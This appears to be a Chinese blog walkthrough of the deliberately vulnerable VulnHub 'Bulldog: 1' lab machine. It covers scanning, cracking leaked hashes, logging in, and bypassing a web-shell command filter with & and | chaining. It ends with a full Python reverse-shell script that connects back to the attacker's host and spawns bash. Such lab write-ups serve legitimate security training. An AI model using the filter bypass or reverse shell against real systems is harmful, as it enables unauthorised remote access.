VulnHub渗透测试实战靶场 - Bulldog: 1

最新推荐文章于 2024-08-10 20:52:39 发布

H3rmesk1t

最新推荐文章于 2024-08-10 20:52:39 发布

阅读量491

点赞数 1

分类专栏： # VulnHub 文章标签： VulnHub 渗透测试安全 python

本文链接：https://blog.csdn.net/LYJ20010728/article/details/119391165

版权

VulnHub 专栏收录该内容

24 篇文章 10 订阅

订阅专栏

VulnHub渗透测试实战靶场 - Bulldog: 1

环境下载
Bulldog: 1靶机搭建
渗透测试

环境下载

戳此进行环境下载

Bulldog: 1靶机搭建

具体步骤参考VirtualBox(Host only)和VMware共用同一虚拟网卡

将下载好的靶机环境，导入VritualBox，设置为Host-Only模式
将VMware中桥接模式网卡设置为VritualBox的Host-only

获取到IP地址为：192.168.56.101

在这里插入图片描述

渗透测试

信息搜集

用Kali自带的Nmap扫描目标IP：sudo nmap -sS -A 192.168.56.101，发现开放了23、80、8080端口

在这里插入图片描述

用dirsearch对web目录进行扫描：python3 dirsearch.py -u 192.168.56.101 -e *.php

在这里插入图片描述

漏洞挖掘

访问80端口

在这里插入图片描述

用whatweb进行web站扫描：whatweb http://192.168.56.101/，发现是Django建站

http://192.168.56.101/ [200 OK] Bootstrap, Country[RESERVED][ZZ], maybe Django, HTML5, HTTPServer[WSGIServer/0.1 Python/2.7.12], IP[192.168.56.101], JQuery, Python[2.7.12], Script, Title[Bulldog Industries], X-Frame-Options[SAMEORIGIN]

依次访问扫描到的web目录

在这里插入图片描述

测试后发现，robots.txt页面没有什么有用的信息，/admin无法注入成功，在/dev发现一些可疑的hash值，解密后发现

6515229daf8dbdc8b89fed2e60f107433da5f2cb
破解失败
38882f3b81f8f2bc47d9f3119155b05f954892fb
破解失败
c6f7e34d5d08ba4a40dd5627508ccb55b425e279
破解失败
0e6ae9fe8af1cd4192865ac97ebf6bda414218a9
破解失败
553d917a396414ab99785694afd51df3a8a8a3e0
破解失败
ddf45997a7e18a25ad5f5cf222da64814dd060d5
bulldog
d8b8dd5e7f000b8dea26ef8428caf38c04466b3e
bulldoglover

尝试用得到的两组数据进行登录，发现可以用sarah:bulldoglover进行登录，登陆进去后使用web-shell

在这里插入图片描述

给了6个可用的命令，执行其他的命令会被拦截，这里用&或者|进行命令组合绕过，也可以用echo来绕过

在这里插入图片描述

getshell

发现可以成功绕过限制后，在Kali上用python起一个HTTP服务器：python2 -m SimpleHTTPServer 80，将把shell文件放到网站目录下，通过靶机下载用python写的shell反弹脚本

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.56.102",1234))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])